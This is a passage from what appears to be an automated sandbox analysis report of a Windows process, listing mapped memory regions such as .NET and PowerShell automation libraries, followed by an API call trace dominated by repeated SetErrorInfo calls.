= 0x7fefda78fff entry_point = 0x7fefd970000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 744 start_va = 0x7fefebe0000 end_va = 0x7fefec0dfff entry_point = 0x7fefebe0000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 745 start_va = 0x450000 end_va = 0x450fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 746 start_va = 0x20f0000 end_va = 0x216ffff entry_point = 0x0 region_type = private name = "private_0x00000000020f0000" filename = "" Region: id = 747 start_va = 0x7fee2b60000 end_va = 0x7fee34fcfff entry_point = 0x7fee2b60000 region_type = mapped_file name = "mscorwks.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\mscorwks.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\mscorwks.dll") Region: id = 748 start_va = 0x570000 end_va = 0x570fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000570000" filename = "" Region: id = 749 start_va = 0x6c0000 end_va = 0x73ffff entry_point = 0x0 region_type = private name = "private_0x00000000006c0000" filename = "" Region: id = 750 start_va = 0x2290000 end_va = 0x230ffff entry_point = 0x0 region_type = private name = "private_0x0000000002290000" filename = "" Region: id = 751 start_va = 0x2320000 end_va = 0x239ffff entry_point = 0x0 region_type = private name = "private_0x0000000002320000" filename = "" Region: id = 752 start_va = 0x23a0000 end_va = 0x279ffff entry_point = 0x0 region_type = private name = "private_0x00000000023a0000" filename = "" Region: id = 753 start_va = 0x27a0000 end_va = 0x299ffff entry_point = 0x0 region_type = private name = "private_0x00000000027a0000" filename = "" Region: id = 754 start_va = 0x59c800000 end_va = 0x59c822fff entry_point = 0x59c800000 region_type = mapped_file name = "alink.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\alink.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\alink.dll") Region: id = 755 start_va = 0x7fefd420000 end_va = 0x7fefd42efff entry_point = 0x7fefd420000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 756 start_va = 0x580000 end_va = 0x580fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000580000" filename = "" Region: id = 757 start_va = 0x7feff5b0000 end_va = 0x7feff648fff entry_point = 0x7feff5b0000 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 758 start_va = 0x590000 end_va = 0x590fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000590000" filename = "" Region: id = 759 start_va = 0x29a0000 end_va = 0x2c6efff entry_point = 0x29a0000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 760 start_va = 0x7fefcb20000 end_va = 0x7fefcb66fff entry_point = 0x7fefcb20000 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 761 start_va = 0x7fefce20000 end_va = 0x7fefce36fff entry_point = 0x7fefce20000 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 762 start_va = 0x5a0000 end_va = 0x5a0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005a0000" filename = "" Region: id = 763 start_va = 0x2c70000 end_va = 0x2f7afff entry_point = 0x2c70000 region_type = mapped_file name = "system.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\System.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\system.dll") Region: id = 764 start_va = 0x2f80000 end_va = 0x325efff entry_point = 0x2f80000 region_type = mapped_file name = "system.management.automation.dll" filename = "\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll" (normalized: "c:\\windows\\assembly\\gac_msil\\system.management.automation\\1.0.0.0__31bf3856ad364e35\\system.management.automation.dll") Region: id = 765 start_va = 0x3260000 end_va = 0x36bafff entry_point = 0x3260000 region_type = mapped_file name = "mscorlib.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\mscorlib.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\mscorlib.dll") Region: id = 766 start_va = 0x7fede640000 end_va = 0x7fede66bfff entry_point = 0x7fede640000 region_type = mapped_file name = "mscorpe.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\mscorpe.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\mscorpe.dll") Region: id = 767 start_va = 0x740000 end_va = 0x740fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000740000" filename = "" Region: id = 768 start_va = 0x516f00000 end_va = 0x516fc5fff entry_point = 0x516f00000 region_type = mapped_file name = "diasymreader.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\diasymreader.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\diasymreader.dll") Region: id = 769 start_va = 0x1f80000 end_va = 0x207ffff entry_point = 0x0 region_type = private name = "private_0x0000000001f80000" filename = "" Thread: id = 33 os_tid = 0xad0 [0045.629] SysStringByteLen (bstr="4") returned 0x2 [0045.631] SysStringByteLen (bstr="\x37a0\x2f") returned 0x136 [0045.631] SysStringByteLen (bstr="\x37a0\x2f") returned 0x136 [0045.632] SysStringByteLen (bstr="DEBUG") returned 0xa [0045.632] SysStringByteLen (bstr="System.dll|C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll") returned 0xfe [0045.632] SysStringLen (param_1=0x0) returned 0x0 [0045.632] SysStringLen (param_1=0x0) returned 0x0 [0045.632] SysStringByteLen (bstr="DEBUG") returned 0xa [0045.633] SysStringLen (param_1=0x0) returned 0x0 [0045.633] SysStringByteLen (bstr="DEBUG") returned 0xa [0045.633] SysStringByteLen (bstr="āāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāā") returned 0x136 [0045.633] SysStringByteLen (bstr="4") returned 0x2 [0045.633] SysStringByteLen (bstr="System.dll|C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll") returned 0xfe [0045.634] SysStringByteLen (bstr="DEBUG") returned 0xa [0045.634] SysStringByteLen (bstr="āāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāā") returned 0x136 [0045.634] SysStringByteLen (bstr="4") returned 0x2 [0045.635] SysStringByteLen (bstr="System.dll|C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll") returned 0xfe [0045.674] CoCreateInstance (in: rclsid=0x538005b10*(Data1=0xe5cb7a31, Data2=0x7512, Data3=0x11d2, Data4=([0]=0x89, [1]=0xce, [2]=0x0, [3]=0x80, [4]=0xc7, [5]=0x92, [6]=0xe5, [7]=0xd8)), pUnkOuter=0x0, dwClsContext=0x15, riid=0x538005b90*(Data1=0x31bcfce2, Data2=0xdafb, Data3=0x11d2, Data4=([0]=0x9f, [1]=0x81, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x79, [6]=0xa0, [7]=0xa3)), ppv=0x12fd88 | out: ppv=0x12fd88*=0x2fd8a0) returned 0x0 [0045.682] SysStringLen (param_1=0x0) returned 0x0 [0045.682] SysStringLen (param_1="System.dll|C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll") returned 0x7f [0045.687] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.702] SysStringByteLen (bstr="DEBUG") returned 0xa [0045.702] SysStringByteLen (bstr="DEBUG") returned 0xa [0045.745] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.745] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.774] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.774] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.843] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.844] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.859] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.866] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.877] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.877] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.879] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.879] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.880] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.880] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.910] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.911] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.911] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.915] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.915] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.915] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.915] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.915] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.915] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.915] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.915] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.916] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.916] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.916] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.916] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.916] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.916] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.916] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.916] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.916] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.916] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.916] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.916] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.916] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.916] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.916] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.916] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.916] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.916] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.916] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.916] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.917] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.917] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.917] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.917] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.917] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.917] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.917] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.917] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.917] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.917] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.917] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.917] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.917] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.917] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.917] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.917] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.917] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.917] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.918] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.918] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.918] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.918] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.918] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.918] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.918] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.918] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.918] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.918] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.918] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.918] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.918] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.918] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.918] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.918] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.918] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.918] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.918] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.919] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.919] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.919] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.919] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.919] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.919] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.919] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.919] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.919] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.920] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.920] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.920] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.920] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.920] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.921] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.921] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.921] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.921] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.921] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.926] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.926] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.926] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.926] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.926] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.926] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.926] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.926] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.926] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.926] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.926] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.927] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.927] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.927] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.927] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.927] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.927] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.927] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.928] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.928] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.928] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.928] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.928] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.928] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.928] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.930] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.930] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.930] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.930] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.930] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.930] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.931] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.931] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.931] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.931] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.931] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.931] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.932] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.932] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.932] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.932] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.932] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.932] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.933] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.933] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.933] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.933] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.933] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.933] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.933] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.934] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.934] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.934] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.934] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.934] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.934] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.934] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.935] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.935] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.935] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.935] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.935] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.935] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.936] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.936] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.936] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.936] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.936] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.936] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.936] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.937] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.937] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.937] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.937] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.937] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.937] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.938] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.938] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.938] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.938] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.938] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.938] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.939] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.939] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.939] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.939] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.939] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.940] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.940] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.940] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.940] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.940] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.940] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.940] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.941] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.941] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.941] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.941] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.941] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.941] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.942] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.942] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.942] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.942] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.942] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.942] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.943] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.943] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.943] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.943] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.943] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.943] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.943] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.944] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.944] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.944] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.945] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.946] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.946] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.946] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.946] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.946] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.946] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.946] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.947] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.947] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.947] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.947] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.947] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.948] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.948] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.948] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.948] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.948] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.948] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.948] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.948] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.948] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.949] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.949] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.949] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.949] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.949] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.949] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.949] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.949] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.950] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.950] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.950] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.950] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.950] SetErrorInfo 